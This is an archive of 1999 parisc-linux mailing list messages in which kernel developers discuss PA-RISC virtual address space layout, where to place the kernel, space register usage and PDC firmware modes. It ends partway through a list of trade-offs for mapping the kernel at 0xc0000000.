Message-ID: <383145A5.C2AF5857@hpfrcu03.france.hp.com>
References: <E11nhb8-0002Zh-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618634 27988 80.91.229.3 (22 Nov 2014 01:10:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:34 +0000 (UTC)
Cc: frowand@cup.hp.com, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com, adevries@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: phi@hpfrcu03.france.hp.com  Tue Nov 16 04:53:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA28912
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 04:53:28 -0700
Original-Received: (qmail 14270 invoked by uid 15267); 16 Nov 1999 11:55:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14260 invoked from network); 16 Nov 1999 11:55:03 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 11:55:03 -0000
Original-Received: from hpfrcu81.france.hp.com (hpfrcu81.france.hp.com [15.129.16.181])
	by atlrel1.hp.com (Postfix) with ESMTP
	id B0664497; Tue, 16 Nov 1999 06:54:58 -0500 (EST)
Original-Received: from hpfrcu03.france.hp.com (localhost [127.0.0.1])
	by hpfrcu81.france.hp.com (8.8.6 (PHNE_17190)/8.8.6) with ESMTP id MAA21279;
	Tue, 16 Nov 1999 12:53:09 +0100 (MET)
Original-Sender: phi@hpfrcu81.france.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6404

Alan Cox wrote:
> 
> Thats why someone pulled that number out of a hat. You can pull any other
> page aligned number out of a hat and that will be fine too.
> 

Hum interesting, too bad the hat didn't got 0x1000 or 0x10000 i.e something
that could be mapped to 0.0x0x1000 or 0.0x10000 this would greatly simplify
the kernel code writing that need to run traslation off, I bet they used a red
hat :-)

> 
> Alan

Anyway I'm sure that after a significant effort and marco's vmlinux will
finally boot with all those funny things, 2 os in 1 file etc... :-) 

I'm still in the dark regarding spaces usage (that is hppa dependent) in
vmlinux, since this define the VAS usage, I'm back to the initial question how
the VAS is used/designed for the kernel and for user processes.

For instance how big can be a process under linux on pa1.1?

If you answer is lnear 4Gb,  I would say whoa they must have a real good
design.
If you say 4x1Gb, I would say hum, they are using spaces
If you say nx1Gb, I would say, looks interesting, they must have compiler
support for long pointer

Etc....

For now I have the feeling (hoping I completly wrong) that the user space is
confined into the low 2Gb and the kernel space is located into the high 2Gb,
well I bet I'm wrong here, I will try to find this mm.c code you spoke about,
I was more hoping de design document even very thin, there is no need for a
big book to describe how a VAS is implemented.


Phi


From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 12:58:20 +0000 (GMT)
Lines: 9
Approved: news@gmane.org
Message-ID: <E11niBh-0002cv-00@the-village.bc.nu>
References: <383145A5.C2AF5857@hpfrcu03.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618634 27993 80.91.229.3 (22 Nov 2014 01:10:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:34 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, frowand@cup.hp.com,
        Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com, adevries@thepuffingroup.com
To: phi@hpfrcu03.france.hp.com (Philippe Benard)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Nov 16 05:03:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA29076
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 05:03:18 -0700
Original-Received: (qmail 16388 invoked by uid 15267); 16 Nov 1999 12:04:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16374 invoked from network); 16 Nov 1999 12:04:53 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 12:04:52 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11niBh-0002cv-00; Tue, 16 Nov 1999 12:58:22 +0000
In-Reply-To: <383145A5.C2AF5857@hpfrcu03.france.hp.com> from "Philippe Benard" at Nov 16, 99 12:53:09 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6405

> For now I have the feeling (hoping I completly wrong) that the user space is
> confined into the low 2Gb and the kernel space is located into the high 2Gb,
> well I bet I'm wrong here, I will try to find this mm.c code you spoke about,
> I was more hoping de design document even very thin, there is no need for a
> big book to describe how a VAS is implemented.

How it does now now on Linux/hppa32 and how it ends up looking are two 
different questions altogether.


From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 13:39:19 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <19991116133919.A25252@mencheca.ch.genedata.com>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com> <3830A4C6.C2CB788@nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618635 27998 80.91.229.3 (22 Nov 2014 01:10:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:35 +0000 (UTC)
Cc: frowand@cup.hp.com,
        Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com,
        Alex deVries <adevries@thepuffingroup.com>
To: John David Anglin <dave.anglin@nrc.ca>
Original-X-From: Matthew.Wilcox@genedata.com  Tue Nov 16 05:42:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA29947
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 05:42:00 -0700
Original-Received: (qmail 24351 invoked by uid 15267); 16 Nov 1999 12:43:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24340 invoked from network); 16 Nov 1999 12:43:35 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 12:43:35 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAGCb1532639;
	Tue, 16 Nov 1999 13:37:02 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAGCb0A14891;
	Tue, 16 Nov 1999 13:37:00 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id NAA1196562;
	Tue, 16 Nov 1999 13:36:59 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11nhtH-00026uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for frowand@cup.hp.com; Tue, 16 Nov 1999 13:39:19 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <3830A4C6.C2CB788@nrc.ca>; from John David Anglin on Mon, Nov 15, 1999 at 07:26:49PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6406

On Mon, Nov 15, 1999 at 07:26:49PM -0500, John David Anglin wrote:
> I think it was done to simplify the syscall interface.

Nope.  Maybe we'll need a slightly different syscall entry path depending
on where the kernel ends up, but choosing where the kernel lives will have
no material effect on syscalls.  About the only place which is undesirable
for the kernel to live is 0xc000'0000 :-)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 13:35:59 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <19991116133559.Z25252@mencheca.ch.genedata.com>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com> <38311538.30826FC7@hpfrcu03.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618635 28001 80.91.229.3 (22 Nov 2014 01:10:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:35 +0000 (UTC)
Cc: frowand@cup.hp.com,
        Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com,
        Alex deVries <adevries@thepuffingroup.com>
To: Philippe Benard <phi@hpfrcu03.france.hp.com>
Original-X-From: Matthew.Wilcox@genedata.com  Tue Nov 16 05:43:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA30083
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 05:43:18 -0700
Original-Received: (qmail 24698 invoked by uid 15267); 16 Nov 1999 12:44:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24682 invoked from network); 16 Nov 1999 12:44:53 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 12:44:53 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAGCXhf32630;
	Tue, 16 Nov 1999 13:33:43 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dAGCXeq14883;
	Tue, 16 Nov 1999 13:33:40 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id NAA1214538;
	Tue, 16 Nov 1999 13:33:40 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11nhq3-00026uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for frowand@cup.hp.com; Tue, 16 Nov 1999 13:35:59 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <38311538.30826FC7@hpfrcu03.france.hp.com>; from Philippe Benard on Tue, Nov 16, 1999 at 09:26:32AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6407

On Tue, Nov 16, 1999 at 09:26:32AM +0100, Philippe Benard wrote:
> Sounds like linux is not more portable than any other propriaitary OS since
> confined to PC architecture, a port beeing a mimic of PC if the target arch
> can do it.

I think Linux is actually more ported than *BSD these days...

> As i said in a previous mail we have two choice here, mimic closely the PC up
> to the endianism for instance, to be able to grab as much stuff as possible
> from the PC world but ultimatly we will not be able to run PC-linux
> executable, then being that close doesn't looks that important. On the other
> hand being as close as HPUX (and HP dependend stuff like PDC) could allow to
> be able to dual boot vmunix/vmlinux, to run hpux a.out onto vmlinux to
> laverage current hp software (if any) etc... being close to hp design is
> somewhat having the kernel in low phys addr.

The sash executable we have been using as our only piece of userspace
runs under HPUX using HPUX syscalls.  It will make no difference to
userspace where the kernel is mapped.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/realmode_setup.c Question
Date: Tue, 16 Nov 1999 07:02:29 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <383163F5.3B21ECAB@uswest.net>
References: <Pine.LNX.4.10.9911151948070.10661-100000@vodka.thepuffingroup.com> <38309A65.9CB3DFC4@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618635 28002 80.91.229.3 (22 Nov 2014 01:10:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:35 +0000 (UTC)
Cc: Alex deVries <adevries@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com
Original-X-From: rbradetich@uswest.net  Tue Nov 16 07:01:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA31432
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 07:01:32 -0700
Original-Received: (qmail 13483 invoked by uid 15267); 16 Nov 1999 14:03:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13467 invoked from network); 16 Nov 1999 14:03:07 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 14:03:07 -0000
Original-Received: (qmail 28794 invoked by alias); 16 Nov 1999 14:03:06 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 28771 invoked by uid 0); 16 Nov 1999 14:03:05 -0000
Original-Received: from beavis.ybsoft.com (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 16 Nov 1999 14:03:05 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6408

Frank Rowand wrote:

> Alex deVries wrote:
> >
> > On Mon, 15 Nov 1999, Frank Rowand wrote:
> > > You don't get to choose.  The PDC is either 32 bit or 64 bit.  It's not
> > > a question of what mode the OS is running in, but what the PDC was
> > > compiled for.
> >
> > Hm.  I'm pretty sure that a 32 bit version of HPUX has run on that box as
> > well, so wouldn't that mean that it'd have to be a 32 bit PDC?
> >
> > - Alex
>
> Nope.  The OS has to figure out what type of PDC it is calling, and properly
> marshall the arguments for the call.
>
> -Frank

Time for me to show off my ignorance again. :)  As I understand it, the PDC is
firmware, which all the CPU (in a multiple CPU box) share.  I know that when
I installed 11.X on this C200 that I was given the choice to install it in 32
bit or
64 bit mode.  Does this mean the install disk updates the PDC firmware to boot
into either 32-bit or 64-bit mode?

Also looking at the PSW definition for the W bit on page 2-7 and
page 2-8 of PA-RISC 2.0 Architecture by Gerry Kane:

W: Wide 64-bit address formation enabled.  When 1, full 64-bit-offset
addressing
is enabled.  When 0, addresses are truncated to 32-bit offsets, for
compatibility
with existing PA-RISC 1.0 and 1.1 applications.

>From PIM dumps, I know all the registers are 64 bit, and the PSW is also 64 bit
on
this C200..  So it looks like I should be able to switch between 32-bit and
64-bit by
changing the W bit in the PSW?

Thanks,
Ryan Bradetich

P.S.  I will try to query the PDC_MODEL as you suggested as in a previous email

in this thread and post the result when I get home tonight.



From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher L McNabb" <chris@4mcnabb.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Got a machine, Got a Kernel Image, Got a Ramdisk Image, What's next?
Date: Tue, 16 Nov 1999 09:23:07 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <000901bf303e$1a95e540$1e8550d8@4mcnabb.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618636 28004 80.91.229.3 (22 Nov 2014 01:10:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:36 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: chris@4mcnabb.net  Tue Nov 16 07:22:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA31848
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 07:22:02 -0700
Original-Received: (qmail 19962 invoked by uid 15267); 16 Nov 1999 14:23:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19955 invoked from network); 16 Nov 1999 14:23:38 -0000
Original-Received: from unknown (HELO smtp1.usit.net) (199.1.48.41)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 14:23:38 -0000
Original-Received: from winnt ([216.80.133.30])
	by smtp1.usit.net (8.9.2/8.9.2) with SMTP id JAA20551
	for <parisc-linux@thepuffingroup.com>; Tue, 16 Nov 1999 09:24:22 -0500 (EST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:6409


I've been using Intel Linux since version 0.99.  My company recently retired
an HP-9000 model 832, which is now sitting here in my house.  I would love
to help out with the pa-risc port, but don't have the time or inclination to
do actual development.  I can, however, do testing.

The box is an HP-9000 model 832, HP-UX 9.0, 32 Megs of RAM (yeah, I know
that's rather low), and 3.5 gigs of hard drive space split between 6 HP-IB
disk drives (4 internal, 2 external).  A SCSI interface is supposed to
arrive fed-ex today, and I will be adding a CD-ROM and SCSI disks as cash
becomes available.

What I really need to know, though, are two things:
1.  What is the process for getting the Linux kernel to boot?
2.  What can I do to help with the porting of Linux to the PA-RISC
architecture?

Christopher L McNabb
Senior Technical Specialist
SCT Corporation
work:  cmcnabb@sctcorp.com
home: chris@4mcnabb.net



From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:  [parisc-linux] Got a machine, Got a Kernel Image, Got a Ramdisk Image, What's next?
Date: Tue, 16 Nov 1999 07:48:10 -0700 (MST)
Lines: 30
Approved: news@gmane.org
Message-ID: <199911161448.HAA18034@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618636 28006 80.91.229.3 (22 Nov 2014 01:10:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:36 +0000 (UTC)
To: chris@4mcnabb.net, parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Tue Nov 16 07:46:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA32343
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 07:46:39 -0700
Original-Received: (qmail 29084 invoked by uid 15267); 16 Nov 1999 14:48:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29066 invoked from network); 16 Nov 1999 14:48:12 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 14:48:12 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id HAA18034;
	Tue, 16 Nov 1999 07:48:10 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6410

> From: "Christopher L McNabb" <chris@4mcnabb.net>
> To: <parisc-linux@thepuffingroup.com>
> Date: Tue, 16 Nov 1999 09:23:07 -0500
> Subject: [parisc-linux] Got a machine, Got a Kernel Image, Got a Ramdisk Image, What's next?
> 
> I've been using Intel Linux since version 0.99.  My company recently retired
> an HP-9000 model 832, which is now sitting here in my house.  I would love
> to help out with the pa-risc port, but don't have the time or inclination to
> do actual development.  I can, however, do testing.
> 
> The box is an HP-9000 model 832, HP-UX 9.0, 32 Megs of RAM (yeah, I know
> that's rather low), and 3.5 gigs of hard drive space split between 6 HP-IB
> disk drives (4 internal, 2 external).  A SCSI interface is supposed to
> arrive fed-ex today, and I will be adding a CD-ROM and SCSI disks as cash
> becomes available.
> 
> What I really need to know, though, are two things:
> 1.  What is the process for getting the Linux kernel to boot?
> 2.  What can I do to help with the porting of Linux to the PA-RISC
> architecture?
> 

The current linux work is focusing on 1.1 and 2.0 architecture machines with
fairly traditional memory-mapped IO architectures.  The 832 is a PA 1.0
machine with a completely different "channel" based IO bus architecture
(NIO).

In a nutshell, it would be a long uphill battle to port anything to it
and for very little gain.  Scrap it!


From - Thu Nov 08 21:11:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 10:55:20 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <199911161555.KAA02100@hiauly1.hia.nrc.ca>
References: <383145A5.C2AF5857@hpfrcu03.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618636 28010 80.91.229.3 (22 Nov 2014 01:10:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:36 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, frowand@cup.hp.com,
        Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        parisc-linux@thepuffingroup.com, adevries@thepuffingroup.com
To: phi@hpfrcu03.france.hp.com (Philippe Benard)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Nov 16 08:59:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA02851
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 08:59:28 -0700
Original-Received: (qmail 28917 invoked by uid 15267); 16 Nov 1999 16:00:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28802 invoked from network); 16 Nov 1999 16:00:39 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 16:00:39 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id KAA02100;
	Tue, 16 Nov 1999 10:55:20 -0500 (EST)
In-Reply-To: <383145A5.C2AF5857@hpfrcu03.france.hp.com> from "Philippe Benard" at Nov 16, 99 12:53:09 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6411

> For instance how big can be a process under linux on pa1.1?

Unless you change gcc, the address space is 4GB for pa 1.x.  This is the
short (32 bit) pointer mode.  Space register sr0 is used for loads and stores.
When sr0 is used, the pa hardware uses bits 0 and 1 of the memory offset 
to select one of the space registers sr4 to sr7.  The selected register
is then used with the offset to generate the full virtual address for the
operation.  Thus, only 1GB of the 4GB addressable using a given space
register is actually used in this mode.

The standard usage for sr4 to sr7 in a user process is:

sr4:	text
sr5:	data
sr6:	shared data (shared libs & mmap)
sr7:	shared data (upper 256 MB is reserved for system use).

This model was selected because it is large enough for most applications
and efficient.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] depi?
Date: Tue, 16 Nov 1999 17:08:19 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <19991116170819.B750@mathe.stud.uni-erlangen.de>
References: <Pine.LNX.4.10.9911150307300.7996-100000@vodka.thepuffingroup.com> <199911150736.XAA14959@opus.allegro.com> <19991115092549.G30917@mathe.stud.uni-erlangen.de> <383093DE.A8B73CE4@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618637 28011 80.91.229.3 (22 Nov 2014 01:10:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:37 +0000 (UTC)
Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com,
        Alex deVries <adevries@thepuffingroup.com>
To: frowand@cup.hp.com
Original-X-From: prumpf@r.uni-erlangen.de  Tue Nov 16 09:05:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA03276
	for <parisc-linux@puffin.external.hp.com>; Tue, 16 Nov 1999 09:05:27 -0700
Original-Received: (qmail 32330 invoked by uid 15267); 16 Nov 1999 16:07:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32316 invoked from network); 16 Nov 1999 16:07:02 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 16 Nov 1999 16:07:02 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Tue, 16 Nov 1999 17:06:59 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id RAA01106;
	Tue, 16 Nov 1999 17:09:19 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <383093DE.A8B73CE4@hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6412

> This is just one of several recent messages dealing with the issues caused by
> locating the kernel at virtual address 0xc0000000 instead of 0x00000000.  I
> still don't understand why the kernel can't be at zero, even though several
> people have tried to explain it to me.  Can anyone provide a clear
> explanation?

Advantages of mapping the kernel at 0xc000 0000 (or 0x8000 0000/0xe000 0000)

 - consistent with what the other ports do / what hardware does for the other
   ports (MIPS)
 - clear difference between user pointers and kernel pointers (this matters
   for debugging, not for a running system)
 - clear difference between physical addresses and kernel pointers.  Think
   about vmalloc for one reason this is a good thing.  Also I dislike the
   idea of staring at HPMCs for hours just to find out what really happened
   is someone forgot to set the D bit and we didn't notice until we happened
   to hit a vmalloc area.
 - allows us not to use space registers at all (this might be a nice option
   to have, though it will give us a performance hit)
 - allows us to catch NULL pointers and use large pages to map the physical
   memory [1]
 - is already implemented

Disadvantages

 - conflicts with a rather obscure restriction of PA1.1 cache aliases.  As
   Frank pointed out to me, it is only guaranteed you access the same data
   using a physical address and a virtual address mapped to the physical if
   the physical address is equal to the virtual address (or you are flushing
   the cache lines in question).  I do not believe this to be a real problem
   with any existing hardware and if it is, the performance hit of the
   additional cache flushes may be seen as proper punishment for brain-dead
   hardware.
 - It is not what existing OSes on PA-RISC do.  Whether this really is a dis-
   advantage I'm not sure (it might serve HP engineers as a reminder that this
   is not HP/UX and keep them from doing things the HP/UX way even where it is
